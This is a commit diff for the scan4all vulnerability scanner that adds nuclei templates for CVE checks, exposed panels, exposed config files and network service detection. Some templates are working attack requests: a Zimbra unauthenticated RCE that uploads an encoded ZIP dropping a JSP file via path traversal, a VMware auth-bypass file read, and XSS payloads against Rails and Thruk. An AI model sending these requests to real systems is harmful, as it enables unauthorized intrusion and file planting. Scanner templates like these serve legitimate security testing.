Projects STRLCPY scan4all Commits d3f2fa63
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
Showing first 156 files as there are too many
  • ■ ■ ■ ■ ■
    .github/up.sh
    skipped 15 lines
    16 16   
    17 17  cp -rf $HOME/MyWork/xray/pocs/*.yml $HOME/MyWork/scan4all/pocs_yml/ymlFiles/
    18 18  ls ../nuclei-templates|xargs -I % cp -rf ../nuclei-templates/% config/nuclei-templates/
    19  -config/nuclei-templates
    20 19  echo "start 静态go.mod去除不相关依赖"
    21 20  go mod tidy
    22 21  echo "更新 vendor "
    skipped 11 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/51pwn/rails6-xss.yaml
     1 +id: rails6-xss
     2 +info:
     3 + name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
     4 + author:
     5 + - l0ne1y
     6 +requests:
     7 +- matchers:
     8 + - type: word
     9 + part: body
     10 + words:
     11 + - javascript:alert(1)
     12 + - type: status
     13 + status:
     14 + - 302
     15 + - type: word
     16 + condition: and
     17 + part: header
     18 + words:
     19 + - 'Location: javascript:alert(22)'
     20 + - text/html
     21 + matchers-condition: and
     22 + redirects: false
     23 + path:
     24 + - '{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0ajavascript:alert(22)'
     25 + method: POST
     26 + 
     27 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/cves/2022/CVE-2022-23348.yaml
     1 +id: CVE-2022-23348
     2 + 
     3 +info:
     4 + name: BigAnt Server v5.6.06 - Improper Access control
     5 + author: arafatansari
     6 + severity: medium
     7 + description: |
     8 + BigAnt Server v5.6.06 suffers from Use of Password Hash With Insufficient Computational Effort.
     9 + reference:
     10 + - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23348
     11 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23348
     12 + - http://bigant.com
     13 + classification:
     14 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
     15 + cvss-score: 5.3
     16 + cve-id: CVE-2022-23348
     17 + cwe-id: CWE-916
     18 + metadata:
     19 + shodan-query: http.html:"bigant"
     20 + verified: "true"
     21 + tags: cve,cve2022,bigant,unauth,exposure
     22 + 
     23 +requests:
     24 + - method: GET
     25 + path:
     26 + - "{{BaseURL}}/Runtime/Data/ms_admin.php"
     27 + 
     28 + matchers-condition: and
     29 + matchers:
     30 + - type: word
     31 + part: body
     32 + words:
     33 + - '"user_name";'
     34 + - '"user_pwd";'
     35 + - '"user_id";'
     36 + condition: and
     37 + 
     38 + - type: word
     39 + part: header
     40 + words:
     41 + - text/html
     42 + 
     43 + - type: status
     44 + status:
     45 + - 200
     46 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/cves/2022/CVE-2022-31656.yaml
     1 +id: CVE-2022-31656
     2 + 
     3 +info:
     4 + name: VMware - Authentication Bypass
     5 + author: DhiyaneshDk
     6 + severity: critical
     7 + description: |
     8 + VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
     9 + reference:
     10 + - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
     11 + - https://www.vmware.com/security/advisories/VMSA-2022-0021.html
     12 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31656
     13 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31656
     14 + classification:
     15 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     16 + cvss-score: 9.8
     17 + cve-id: CVE-2022-31656
     18 + cwe-id: CWE-287
     19 + metadata:
     20 + shodan-query: http.favicon.hash:-1250474341
     21 + verified: "true"
     22 + tags: cve,cve2022,vmware,lfi
     23 + 
     24 +requests:
     25 + - method: GET
     26 + path:
     27 + - "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"
     28 + 
     29 + matchers-condition: and
     30 + matchers:
     31 + - type: word
     32 + part: body
     33 + words:
     34 + - "<web-app"
     35 + - "<servlet-name>"
     36 + condition: and
     37 + 
     38 + - type: word
     39 + part: header
     40 + words:
     41 + - "application/xml"
     42 + 
     43 + - type: status
     44 + status:
     45 + - 200
     46 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/cves/2022/CVE-2022-31845.yaml
     1 +id: CVE-2022-31845
     2 + 
     3 +info:
     4 + name: WAVLINK WN535 G3 - Information Disclosure
     5 + author: arafatansari
     6 + severity: high
     7 + description: |
     8 + A vulnerability in live_check.shtml of WAVLINK WN535 G3 M35G3R.V5030.180927 allows attackers to obtain sensitive router information via execution of the exec cmd function.
     9 + reference:
     10 + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md
     11 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31845
     12 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
     13 + classification:
     14 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     15 + cvss-score: 7.5
     16 + cve-id: CVE-2022-31845
     17 + cwe-id: CWE-668
     18 + metadata:
     19 + shodan-query: http.html:"Wavlink"
     20 + verified: "true"
     21 + tags: cve,cve2022,wavlink,exposure
     22 + 
     23 +requests:
     24 + - raw:
     25 + - |
     26 + @timeout: 10s
     27 + GET /live_check.shtml HTTP/1.1
     28 + Host: {{Hostname}}
     29 + 
     30 + matchers-condition: and
     31 + matchers:
     32 + - type: word
     33 + words:
     34 + - 'Model='
     35 + - 'FW_Version='
     36 + - 'LanIP='
     37 + condition: and
     38 + 
     39 + - type: status
     40 + status:
     41 + - 200
     42 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/cves/2022/CVE-2022-31847.yaml
     1 +id: CVE-2022-31847
     2 + 
     3 +info:
     4 + name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure
     5 + author: arafatansari
     6 + severity: high
     7 + description: |
     8 + A vulnerability in /cgi-bin/ExportAllSettings.sh of WAVLINK WN579 X3 M79X3.V5030.180719 allows attackers to obtain sensitive router information via a crafted POST request.
     9 + reference:
     10 + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md
     11 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31847
     12 + classification:
     13 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     14 + cvss-score: 7.5
     15 + cve-id: CVE-2022-31847
     16 + cwe-id: CWE-668
     17 + metadata:
     18 + shodan-query: http.html:"Wavlink"
     19 + verified: "true"
     20 + tags: cve,cve2022,wavlink,exposure
     21 + 
     22 +requests:
     23 + - method: GET
     24 + path:
     25 + - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"
     26 + 
     27 + matchers-condition: and
     28 + matchers:
     29 + - type: word
     30 + words:
     31 + - 'Login='
     32 + - 'Password='
     33 + - 'Model='
     34 + - 'AuthMode='
     35 + condition: and
     36 + 
     37 + - type: status
     38 + status:
     39 + - 200
     40 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/cves/2022/CVE-2022-37042.yaml
     1 +id: CVE-2022-37042
     2 + 
     3 +info:
     4 + name: Zimbra Collaboration Suite - Unauthenticated RCE
     5 + author: _0xf4n9x_,For3stCo1d
     6 + severity: critical
     7 + description: |
     8 + Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925.
     9 + reference:
     10 + - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
     11 + - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
     12 + - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
     13 + - https://github.com/vnhacker1337/CVE-2022-27925-PoC
     14 + metadata:
     15 + fofa-query: app="zimbra-邮件系统"
     16 + shodan-query: http.favicon.hash:"1624375939"
     17 + tags: cve,cve2022,zimbra,rce,unauth,kev
     18 + 
     19 +requests:
     20 + - raw:
     21 + - |
     22 + POST {{path}} HTTP/1.1
     23 + Host: {{Hostname}}
     24 + Accept-Encoding: gzip, deflate
     25 + content-type: application/x-www-form-urlencoded
     26 + 
     27 + {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
     28 + 
     29 + - |
     30 + GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
     31 + Host: {{Hostname}}
     32 + 
     33 + payloads:
     34 + path:
     35 + - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
     36 + - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd
     37 + 
     38 + stop-at-first-match: true
     39 + req-condition: true
     40 + matchers:
     41 + - type: dsl
     42 + dsl:
     43 + - 'status_code_1 == 401'
     44 + - 'status_code_2 == 200'
     45 + - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
     46 + condition: and
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/exposed-panels/nagios-panel.yaml
     1 +id: nagios-panel
     2 + 
     3 +info:
     4 + name: Nagios Panel Detect
     5 + author: ritikchaddha
     6 + severity: info
     7 + metadata:
     8 + verified: true
     9 + shodan-query: http.title:"nagios"
     10 + tags: panel,nagios
     11 + 
     12 +requests:
     13 + - method: GET
     14 + path:
     15 + - "{{BaseURL}}/nagios"
     16 + - "{{BaseURL}}/nagios3"
     17 + 
     18 + stop-at-first-match: true
     19 + matchers-condition: and
     20 + matchers:
     21 + - type: word
     22 + part: header
     23 + words:
     24 + - 'Nagios Access'
     25 + 
     26 + - type: status
     27 + status:
     28 + - 401
     29 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/exposed-panels/nagios-xi-panel.yaml
     1 +id: nagios-xi-panel
     2 + 
     3 +info:
     4 + name: Nagios XI Panel Detect
     5 + author: ritikchaddha
     6 + severity: info
     7 + metadata:
     8 + verified: true
     9 + shodan-query: http.title:"Nagios XI"
     10 + tags: panel,nagios,nagios-xi
     11 + 
     12 +requests:
     13 + - method: GET
     14 + path:
     15 + - "{{BaseURL}}"
     16 + - "{{BaseURL}}/nagiosxi/login.php"
     17 + 
     18 + stop-at-first-match: true
     19 + redirects: true
     20 + max-redirects: 2
     21 + matchers-condition: and
     22 + matchers:
     23 + - type: word
     24 + part: body
     25 + words:
     26 + - 'alt="Nagios XI'
     27 + - '/nagiosxi/includes'
     28 + condition: or
     29 + 
     30 + - type: status
     31 + status:
     32 + - 200
     33 + 
  • ■ ■ ■ ■ ■
    config/nuclei-templates/exposed-panels/ocs-inventory-login.yaml
    skipped 1 lines
    2 2   
    3 3  info:
    4 4   name: OCS Inventory Login Panel
    5  - author: pikpikcu
     5 + author: pikpikcu,ritikchaddha
    6 6   severity: info
    7 7   metadata:
     8 + verified: true
     9 + shodan-query: title:"OCS Inventory"
    8 10   fofa-query: title="OCS Inventory"
    9 11   tags: ocs-inventory,panel
    10 12   
    skipped 1 lines
    12 14   - method: GET
    13 15   path:
    14 16   - "{{BaseURL}}"
     17 + - "{{BaseURL}}/ocsreports"
    15 18   
     19 + stop-at-first-match: true
    16 20   redirects: true
    17 21   max-redirects: 2
    18 22   matchers-condition: and
    skipped 1 lines
    20 24   - type: word
    21 25   part: body
    22 26   words:
    23  - - '<title>OCS Inventory</title>'
     27 + - '<title>OCS Inventory'
    24 28   
    25 29   - type: status
    26 30   status:
    skipped 2 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/exposures/configs/behat-config.yaml
     1 +id: behat-config
     2 + 
     3 +info:
     4 + name: Behat Configuration File Exposure
     5 + author: DhiyaneshDK
     6 + severity: low
     7 + metadata:
     8 + verified: true
     9 + shodan-query: html:"behat.yml"
     10 + reference: https://docs.behat.org/en/v2.5/guides/7.config.html
     11 + tags: exposure,behat,devops,cicd
     12 + 
     13 +requests:
     14 + - method: GET
     15 + path:
     16 + - "{{BaseURL}}/behat.yml"
     17 + - "{{BaseURL}}/behat.yml.dist"
     18 + 
     19 + stop-at-first-match: true
     20 + matchers-condition: and
     21 + matchers:
     22 + - type: word
     23 + part: body
     24 + words:
     25 + - 'default:'
     26 + - 'paths:'
     27 + - 'suites:'
     28 + condition: and
     29 + 
     30 + - type: status
     31 + status:
     32 + - 200
     33 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/exposures/configs/phpsec-config.yaml
     1 +id: phpsec-config
     2 + 
     3 +info:
     4 + name: Phpspec Configuration File Exposure
     5 + author: DhiyaneshDK
     6 + severity: info
     7 + metadata:
     8 + verified: true
     9 + shodan-query: html:"phpspec.yml"
     10 + reference: https://phpspec.net/en/stable/cookbook/configuration.html
     11 + tags: exposure,phpsec,php,devops,cicd
     12 + 
     13 +requests:
     14 + - method: GET
     15 + path:
     16 + - "{{BaseURL}}/.phpspec.yml"
     17 + - "{{BaseURL}}/phpspec.yml"
     18 + 
     19 + stop-at-first-match: true
     20 + matchers-condition: and
     21 + matchers:
     22 + - type: word
     23 + words:
     24 + - 'suites:'
     25 + - 'main:'
     26 + - 'namespace:'
     27 + condition: and
     28 + 
     29 + - type: status
     30 + status:
     31 + - 200
     32 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/exposures/configs/pyproject-toml.yaml
     1 +id: pyproject-toml
     2 + 
     3 +info:
     4 + name: Pyproject.toml Configuration Exposure
     5 + author: DhiyaneshDK
     6 + severity: info
     7 + metadata:
     8 + verified: true
     9 + shodan-query: html:"pyproject.toml"
     10 + tags: exposure,pyproject,pip,devops,cicd
     11 + 
     12 +requests:
     13 + - method: GET
     14 + path:
     15 + - "{{BaseURL}}/pyproject.toml"
     16 + 
     17 + matchers-condition: or
     18 + matchers:
     19 + - type: word
     20 + part: body
     21 + words:
     22 + - "[tool.black]"
     23 + - "exclude ="
     24 + condition: or
     25 + 
     26 + - type: word
     27 + part: body
     28 + words:
     29 + - "[tool.poetry]"
     30 + - "name ="
     31 + condition: or
     32 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/exposures/files/uwsgi-ini.yaml
     1 +id: uwsgi-ini
     2 + 
     3 +info:
     4 + name: uwsgi.ini File Exposure
     5 + author: DhiyaneshDK
     6 + severity: info
     7 + metadata:
     8 + verified: true
     9 + shodan-query: html:"uwsgi.ini"
     10 + tags: exposure,uwsgi
     11 + 
     12 +requests:
     13 + - method: GET
     14 + path:
     15 + - "{{BaseURL}}/uwsgi.ini"
     16 + 
     17 + matchers-condition: and
     18 + matchers:
     19 + - type: word
     20 + part: body
     21 + words:
     22 + - '[uwsgi]'
     23 + 
     24 + - type: status
     25 + status:
     26 + - 200
     27 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/cowrie-honeypot-detect.yaml
    skipped 3 lines
    4 4   name: Cowrie SSH Honeypot Detect
    5 5   author: thesubtlety
    6 6   severity: info
     7 + description: |
     8 + Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker. In medium interaction mode (shell) it emulates a UNIX system in Python, in high interaction mode (proxy) it functions as an SSH and telnet proxy to observe attacker behavior to another system.
    7 9   reference:
    8 10   - https://web.archive.org/web/20170826075224/https://morris.sc/detecting-kippo-ssh-honeypots/
    9 11   - https://github.com/blazeinfosec/detect-kippo-cowrie/blob/master/detectKippoCowrie.py
    skipped 22 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/detect-addpac-voip-gateway.yaml
    skipped 3 lines
    4 4   name: Detect AddPac Technology GSM VoIP Gateway
    5 5   author: geeknik
    6 6   severity: info
     7 + description: |
     8 + AddPac GSM Gateway solution provides GSM VoIP gateway function from 1 Port up to 80 Ports.
    7 9   reference:
    8 10   - http://www.addpac.com/addpac_eng2/down.php?file=505_f16.pdf
    9 11   tags: network,addpac,apos,voip
    skipped 23 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/detect-rsyncd.yaml
    skipped 3 lines
    4 4   name: Detect rsyncd
    5 5   author: vsh00t,geeknik
    6 6   severity: info
     7 + description: |
     8 + Rsync is a fast and extraordinarily versatile file copying tool. It can copy locally, to/from another host over any remote shell, or to/from a remote rsync daemon.
    7 9   reference:
    8 10   - https://linux.die.net/man/1/rsync
    9 11   tags: network,rsyncd
    skipped 21 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/expn-mail-detect.yaml
    skipped 3 lines
    4 4   name: EXPN Mail Server Detect
    5 5   author: r3dg33k
    6 6   severity: info
     7 + description: |
     8 + The "EXPN" can be used by attackers to learn about valid usernames on the target system. On some SMTP servers, EXPN can be used to show the subscribers of a mailing list subscription lists are generally considered to be sensitive information.
    7 9   tags: mail,expn,network
    8 10   
    9 11  network:
    skipped 10 lines
    20 22   - type: word
    21 23   words:
    22 24   - "250-EXPN"
     25 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/ftp-default-credentials.yaml
    skipped 4 lines
    5 5   author: pussycat0x
    6 6   severity: info
    7 7   tags: network,ftp,default-login,service
     8 + description: |
     9 + Using the Internet's File Transfer Protocol (FTP), anonymous FTP is a method for giving users access to files so that they don't need to identify themselves to the server.
    8 10   
    9 11  network:
    10 12   
    skipped 13 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/gopher-detection.yaml
    skipped 4 lines
    5 5   author: pry0cc
    6 6   severity: info
    7 7   tags: network,gopher
     8 + description: |
     9 + Gopher is an application-layer protocol that provides the ability to extract and view Web documents stored on remote Web servers.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 6 lines
    17 19   - type: dsl
    18 20   dsl:
    19 21   - "contains(to_lower(raw), 'gopher')"
     22 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/iplanet-imap-detect.yaml
    skipped 6 lines
    7 7   metadata:
    8 8   fofa-query: app="iPlanet-Messaging-Server-5.2" && protocol="imap"
    9 9   tags: network,imap
     10 + description: |
     11 + iPlanet Messaging Server is a powerful, standards-based Internet messaging server designed for high-capacity, reliable handling of the messaging needs.
    10 12   
    11 13  network:
    12 14   - inputs:
    skipped 16 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/java-rmi-detect.yaml
    skipped 4 lines
    5 5   author: F1tz
    6 6   severity: info
    7 7   tags: network,rmi,java
     8 + description: |
     9 + A security vulnerability in the Remote Method Invocation component of the Java Runtime Environment allows unauthenticated network attacks which can result in unauthorized operating system takeover including arbitrary code execution.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 12 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/memcached-stats.yaml
    skipped 4 lines
    5 5   author: pdteam
    6 6   severity: low
    7 7   tags: network,memcached
     8 + description: |
     9 + Memcached stats is used to return server statistics such as PID, version, connections, etc.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 8 lines
    19 21   - type: word
    20 22   words:
    21 23   - "STAT "
     24 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/mongodb-detect.yaml
    skipped 6 lines
    7 7   reference:
    8 8   - https://github.com/orleven/Tentacle
    9 9   tags: network,mongodb
     10 + description: |
     11 + MongoDB is an open source NoSQL database management program. NoSQL is used as an alternative to traditional relational databases.
    10 12   
    11 13  network:
    12 14   - inputs:
    skipped 10 lines
    23 25   words:
    24 26   - "logicalSessionTimeout"
    25 27   - "localTime"
     28 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/openssh-detection.yaml
    skipped 10 lines
    11 11   - https://nvd.nist.gov/vuln/detail/CVE-2018-15473
    12 12   - http://seclists.org/fulldisclosure/2016/Jul/51
    13 13   tags: network,ssh,openssh
     14 + description: |
     15 + OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options.
     16 + 
    14 17   
    15 18  network:
    16 19   - host:
    skipped 9 lines
    26 29   - type: regex
    27 30   regex:
    28 31   - '(?i)SSH-(.*)-OpenSSH_[^\r]+'
     32 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/printers-info-leak.yaml
    skipped 6 lines
    7 7   reference:
    8 8   - https://book.hacktricks.xyz/pentesting/9100-pjl
    9 9   tags: network,iot,printer
     10 + description: |
     11 + Unauthorized access to printers allows attackers to print, eavesdrop sensitive documents.
    10 12   
    11 13  network:
    12 14   - inputs:
    skipped 10 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/rdp-detect.yaml
    skipped 6 lines
    7 7   metadata:
    8 8   verified: true
    9 9   tags: network,windows,rdp
     10 + description: |
     11 + Remote Desktop Protocol allows users to connect and control remote server easily.
    10 12   
    11 13  network:
    12 14   - inputs:
    skipped 69 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/sap-router.yaml
    skipped 4 lines
    5 5   author: randomstr1ng
    6 6   severity: info
    7 7   tags: network,sap
     8 + description: |
     9 + SAProuter is a software application that provides a remote connection between our customer's network and SAP.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 9 lines
    20 22   - type: word
    21 23   words:
    22 24   - "SAProuter"
     25 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/smb-v1-detection.yaml
    skipped 6 lines
    7 7   reference:
    8 8   - https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/
    9 9   tags: network,windows,smb,service
     10 + description: |
     11 + SMB (Server Message Block) is a network-layered protocol mainly used on Windows for sharing files, printers, and communication between network-attached computers. SMB related vulnerabilities can be levaraged to comprimise large-scale systems.
    10 12   
    11 13  network:
    12 14   - inputs:
    skipped 8 lines
    21 23   - type: word
    22 24   words:
    23 25   - "SMBr"
     26 + 
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/smtp-detection.yaml
    skipped 4 lines
    5 5   author: pussycat0x
    6 6   severity: info
    7 7   tags: network,service,smtp
     8 + description: |
     9 + SMTP is part of the application layer of the TCP/IP protocol. Using a process called “store and forward,” SMTP moves your email on and across networks.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 9 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/starttls-mail-detect.yaml
    skipped 4 lines
    5 5   author: r3dg33k
    6 6   severity: info
    7 7   tags: mail,starttls,network
     8 + description: |
     9 + STARTTLS is an email protocol command that tells an email server that an email client, including an email client running in a web browser, wants to turn an existing insecure connection into a secure one.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 13 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/totemomail-smtp-detect.yaml
    skipped 4 lines
    5 5   author: princechaddha
    6 6   severity: info
    7 7   tags: mail,smtp,network,totemomail
     8 + description: |
     9 + Totemomail is a comprehensive email solution designed to address all aspects of digital communication security.
    8 10   
    9 11  network:
    10 12   - inputs:
    skipped 12 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/network/unauth-ftp.yaml
    skipped 6 lines
    7 7   reference:
    8 8   - https://tools.ietf.org/html/rfc2577
    9 9   tags: network,ftp
     10 + description: |
     11 + Anonymous FTP access allows anyone to access your public_ftp folder, allowing unidentified visitors to download (and possibly upload) files on your website. Anonymous FTP creates the potential for a security hole for hackers and is not recommended.
     12 + 
    10 13   
    11 14  network:
    12 15   - inputs:
    skipped 8 lines
    21 24   words:
    22 25   - "Anonymous access allowed,"
    23 26   part: response
     27 + 
  • ■ ■ ■ ■ ■
    config/nuclei-templates/network/weblogic-iiop-detect.yaml
    skipped 3 lines
    4 4   name: Detect Weblogic IIOP Protocol
    5 5   author: F1tz
    6 6   severity: info
    7  - description: Check IIOP protocol status.
    8 7   tags: network,weblogic
     8 + description: |
     9 + The IIOP (Internet Inter-ORB Protocol) protocol makes it possible for distributed programs written in different programming languages to communicate over the Internet.
    9 10   
    10 11  network:
    11 12   - inputs:
    skipped 14 lines
  • ■ ■ ■ ■ ■
    config/nuclei-templates/network/weblogic-t3-detect.yaml
    skipped 3 lines
    4 4   name: Detect Weblogic T3 Protocol
    5 5   author: F1tz,milo2012,wdahlenb
    6 6   severity: info
    7  - description: Check T3 protocol status.
    8 7   tags: network,weblogic
     8 + description: |
     9 + T3 is the protocol used to transport information between WebLogic servers and other types of Java programs.
    9 10   
    10 11  network:
    11 12   - inputs:
    skipped 31 lines
  • ■ ■ ■ ■ ■ ■
    config/nuclei-templates/vulnerabilities/other/thruk-xss.yaml
    1 1  id: thruk-xss
    2 2   
    3 3  info:
    4  - name: Thruk Monitoring Webinterface - XSS
    5  - author: pikpikcu
     4 + name: Thruk Monitoring Webinterface - Cross Site Scripting
     5 + author: pikpikcu,ritikchaddha
    6 6   severity: medium
     7 + description: |
     8 + Thruk login page is vulnerable to Reflected XSS via the login parameter at /thruk/cgi-bin/login.cgi.
    7 9   reference:
    8 10   - https://www.thruk.org/download.html
    9  - tags: xss,thruk
     11 + metadata:
     12 + verified: true
     13 + shodan-query: http.html:"Thruk"
     14 + tags: thruk,xss
    10 15   
    11 16  requests:
    12 17   - raw:
    skipped 1 lines
    14 19   POST /thruk/cgi-bin/login.cgi HTTP/1.1
    15 20   Host: {{Hostname}}
    16 21   Content-Type: application/x-www-form-urlencoded
    17  - Referer: {{Hostname}}/thruk/cgi-bin/login.cgi?thruk
    18 22   
    19  - referer=%2Fthruk&login=--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&password=Thruk+Monitoring+Webinterface
     23 + referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login
    20 24   
    21 25   matchers-condition: and
    22 26   matchers:
    23  - - type: status
    24  - status:
    25  - - 200
    26  - 
    27 27   - type: word
    28  - part: body
    29 28   words:
    30  - - "</script><script>alert(document.domain)</script>"
     29 + - "<svg/onload=alert(document.domain)>\"@gmail.com') called at"
    31 30   
    32 31   - type: word
    33 32   part: header
    34 33   words:
    35 34   - "text/html"
    36 35   
     36 + - type: status
     37 + status:
     38 + - 500
     39 + 
  • ■ ■ ■ ■ ■ ■
    go.mod
    skipped 5 lines
    6 6  require (
    7 7   github.com/google/gopacket v1.1.19
    8 8   github.com/phayes/freeport v0.0.0-20220201140144-74d24b5ae9f5
    9  - github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e
     9 + github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc
    10 10   github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb
    11 11   github.com/projectdiscovery/clistats v0.0.8
    12  - github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698
     12 + github.com/projectdiscovery/dnsx v1.0.9
    13 13   github.com/projectdiscovery/fdmax v0.0.3
    14 14   github.com/projectdiscovery/fileutil v0.0.0-20220705195237-01becc2a8963
    15 15   github.com/projectdiscovery/goflags v0.0.8-0.20220610073650-5d31a8c159e3
    16 16   github.com/projectdiscovery/gologger v1.1.4
    17 17   github.com/projectdiscovery/ipranger v0.0.3-0.20210831161617-ac80efae0961
    18  - github.com/projectdiscovery/iputil v0.0.0-20220620153941-036d511e4097
    19 18   github.com/projectdiscovery/mapcidr v1.0.0
    20 19   github.com/projectdiscovery/networkpolicy v0.0.1
    21 20   github.com/remeh/sizedwaitgroup v1.0.0
    22 21   go.uber.org/ratelimit v0.2.0
    23  - golang.org/x/net v0.0.0-20220728211354-c7608f3a8462
    24  - golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10
     22 + golang.org/x/net v0.0.0-20220812174116-3211cb980234
     23 + golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab
    25 24  )
    26 25   
    27 26  require (
    skipped 20 lines
